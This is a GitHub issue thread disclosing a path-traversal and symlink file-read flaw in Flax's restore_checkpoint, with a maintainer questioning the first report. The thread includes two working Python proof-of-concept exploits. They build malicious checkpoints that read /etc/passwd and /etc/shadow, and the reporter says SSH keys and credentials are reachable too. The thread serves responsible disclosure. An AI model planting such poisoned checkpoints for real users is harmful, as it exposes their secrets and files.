[Security] Path traversal / arbitrary file read on `restore_checkpoint` via a malicious multiprocess-array placeholder leaf

[geo-chen]

Reporting here as confirmed with Google bug hunters:

“
We've reviewed it, and while we appreciate you flagging this, we need to let you know that we're no longer offering rewards for product vulnerabilities like this one in projects that fall into the OT2 or OT3 tiers. The Flax repository, https://github.com/google/flax, is currently categorized in this way for reward eligibility. You're still welcome to open an issue or submit a pull request directly on the GitHub repo if you'd like to help get this fixed!
“

Summary

restore_checkpoint treats any checkpoint leaf string beginning with the placeholder //GDAPlaceholder: as a multiprocess-array reference and joins the (attacker-controlled) suffix to the checkpoint directory with no confinement check. A crafted checkpoint can make flax open and read files outside the checkpoint directory (via tensorstore), through the documented multi-host restore path.

Details

flax/training/checkpoints.py, _restore_mpas (L333-334):

mpa_path = os.path.join(ckpt_path + MP_ARRAY_POSTFIX, value[len(MP_ARRAY_PH):])

value is a leaf taken from the msgpack checkpoint; the bytes after the MP_ARRAY_PH = '//GDAPlaceholder:' prefix (L71) are attacker-controlled. The result feeds get_tensorstore_spec(path) (L288) → gda_manager.deserialize(...) (L289), which opens and reads it. An absolute suffix (/etc/passwd) makes os.path.join discard the base; a ../ suffix escapes the …_gda dir. Root cause = save/restore asymmetry: on save the suffix is a benign relative pytree key (L183), on restore it is trusted unvalidated.

Reachability: the documented multi-host restore path — caller passes a gda_manager and a target containing a multiprocess (non-fully-addressable) jax.Array at the poisoned key (gating _check_mpa_errors). This is the normal state of arrays under jax.distributed/multi-host pjit.

PoC

poc_mpa_traversal.py crafts a msgpack checkpoint whose leaf is MP_ARRAY_PH + "/etc/passwd" and restores it with a recording array manager:

payload='/etc/passwd'             -> READ PATH: /etc/passwd   escaped_dir=True
payload='../../../../../etc/shadow' -> READ PATH: /etc/shadow  escaped_dir=True

poc_mpa_traversal.py:

#!/usr/bin/env python3
"""
PoC: arbitrary file read / path traversal in flax.training.checkpoints.restore_checkpoint
(flax 0.12.7). Sink: flax/training/checkpoints.py:333-334 (_restore_mpas) — an attacker leaf
"//GDAPlaceholder:<suffix>" is os.path.join'd onto the ckpt dir with no confinement; an
absolute/`..` suffix escapes, and flax reads it via tensorstore.

Precondition (documented multi-host restore): target has a non-fully-addressable jax.Array at
the poisoned key. MPALeaf is a faithful stand-in (isinstance jax.Array True, is_fully_addressable
False) — exactly an array's state under jax.distributed/multi-host pjit. No flax code modified.
Requires: pip install flax jax jaxlib
"""
import os, tempfile, jax, jax.numpy as jnp
from flax import serialization
from flax.training import checkpoints
from flax.training.checkpoints import MP_ARRAY_PH, _is_multiprocess_array

class MPALeaf:
    is_fully_addressable = False
    def __init__(self, a): object.__setattr__(self, "_a", a)
    def __getattr__(self, k): return getattr(object.__getattribute__(self, "_a"), k)
    @property
    def __class__(self): return type(jnp.arange(1))   # pass isinstance(.., jax.Array)

victim = MPALeaf(jnp.arange(4))
assert isinstance(victim, jax.Array) and _is_multiprocess_array(victim)
target = {"params": victim}
captured = {}
class RecordingGdaManager:
    def wait_until_finished(self): pass
    def deserialize(self, shardings, ts_specs, *a, **k):
        captured["ts_specs"] = list(ts_specs); return [jnp.zeros(4) for _ in ts_specs]

def run(payload):
    with tempfile.TemporaryDirectory() as d:
        ckpt = os.path.join(d, "checkpoint_0")
        open(ckpt, "wb").write(serialization.msgpack_serialize({"params": MP_ARRAY_PH + payload}))
        checkpoints.restore_checkpoint(ckpt, target=target, gda_manager=RecordingGdaManager())
        path = captured["ts_specs"][0]["kvstore"]["path"]
        escaped = not os.path.abspath(path).startswith(os.path.abspath(d))
        print(f"payload={payload!r:30} -> READ PATH {path}  escaped_dir={escaped}")
        return escaped

ok = run("/etc/passwd") and run("../../../../../../etc/shadow")
print("CONFIRMED: checkpoint leaf -> arbitrary out-of-dir read path" if ok else "not reproduced")
raise SystemExit(0 if ok else 1)

Impact

Loading an untrusted Flax checkpoint (a common ML supply-chain scenario) on the multi-host restore path reads arbitrary host files into the restore (confidentiality). No code-exec.

[vfdev-5]

@geo-chen I do not understand how this is related to flax codebase

[geo-chen]

@vfdev-5 apologies, I’ve corrected it. Please let me know if this suffice or more details is required.

[vfdev-5]

Loading an untrusted Flax checkpoint (a common ML supply-chain scenario) on the multi-host restore path reads arbitrary host files into the restore (confidentiality). No code-exec.

@geo-chen I'm not sure to fully understand the attack angle. I agree that loading untrusted checkpoints is dangerous. However, in this reproducer, if I understand correctly when we restore the checkpoint we can read any file content from the host where we are running the code? I could not see how we get the content of the /etc/passwd. Finally, even if this is possible, how this differs from simply reading the content of the file in python?

[geo-chen]

Hey @vfdev-5

You’re right on that and I see the flaw. I relooked at this and found a different angle on the same area that does, and reproduced it end to end on flax 0.12.7 / orbax-checkpoint 0.12.0 / tensorstore 0.1.84.

A checkpoint is a directory whose contents are fully controlled by whoever published it. Array leaves are stored as tensorstore chunk files and read back through the tensorstore file kvstore, which follows symlinks with no containment to the checkpoint directory. So if a chunk file is a symlink to an arbitrary host path, restoring reads that file's bytes straight into the restored array.

Repro: I authored a normal checkpoint with one uint8 array (uncompressed bytes codec), replaced its single chunk file with a symlink to /etc/passwd, and called restore_checkpoint(path, target=None):

import os, tempfile, shutil, numpy as np, tensorstore as ts
import orbax.checkpoint as ocp
from flax.training import checkpoints

real = open("/etc/passwd","rb").read(); N = len(real)
d = tempfile.mkdtemp(); ckpt = os.path.join(d, "ckpt")

ocp.Checkpointer(ocp.PyTreeCheckpointHandler(use_ocdbt=False, use_zarr3=True)).save(ckpt, {"w": np.zeros(N, np.uint8)})
wdir = os.path.join(ckpt, "w"); shutil.rmtree(wdir)
ts.open({"driver":"zarr3","kvstore":{"driver":"file","path":wdir},
         "metadata":{"shape":[N],"data_type":"uint8",
                     "chunk_grid":{"name":"regular","configuration":{"chunk_shape":[N]}},
                     "codecs":[{"name":"bytes"}]}}, create=True, open=True, dtype=ts.uint8).result()[...] = np.ones(N, np.uint8)
chunk = [os.path.join(r,f) for r,_,fs in os.walk(wdir) for f in fs if f != "zarr.json"][0]
os.remove(chunk); os.symlink("/etc/passwd", chunk)   # also works as ../../../../etc/passwd

restored = checkpoints.restore_checkpoint(ckpt, target=None)
print(bytes(np.asarray(restored["w"]).astype(np.uint8).tobytes()).splitlines()[0])
# -> b'root:x:0:0:root:/root:/bin/bash'

The restored array w contains the verbatim contents of /etc/passwd. Both an absolute symlink and a ../ relative traversal out of the checkpoint dir work. The same reads any file the loading process can access (SSH keys, cloud-credential files, tokens).

On your other question, how is this different from just reading the file in Python: the victim isn't running attacker code. They load a data artifact that the ecosystem treats as safe to load (unlike a pickle), and the act of loading silently reads host files into the model, from where they get exfiltrated wherever the parameters go. It's the checkpoint-directory version of tar/zip symlink traversal (CVE-2007-4559 family).

One caveat: the plain bytes codec wants the array byte count to match the file size, but that's not much of a barrier, the tensorstore read error leaks the exact size (remaining length: N at byte M), many targets have known sizes, and the sharded/OCDBT formats let you specify an explicit length to read.

Curious to hear your thoughts.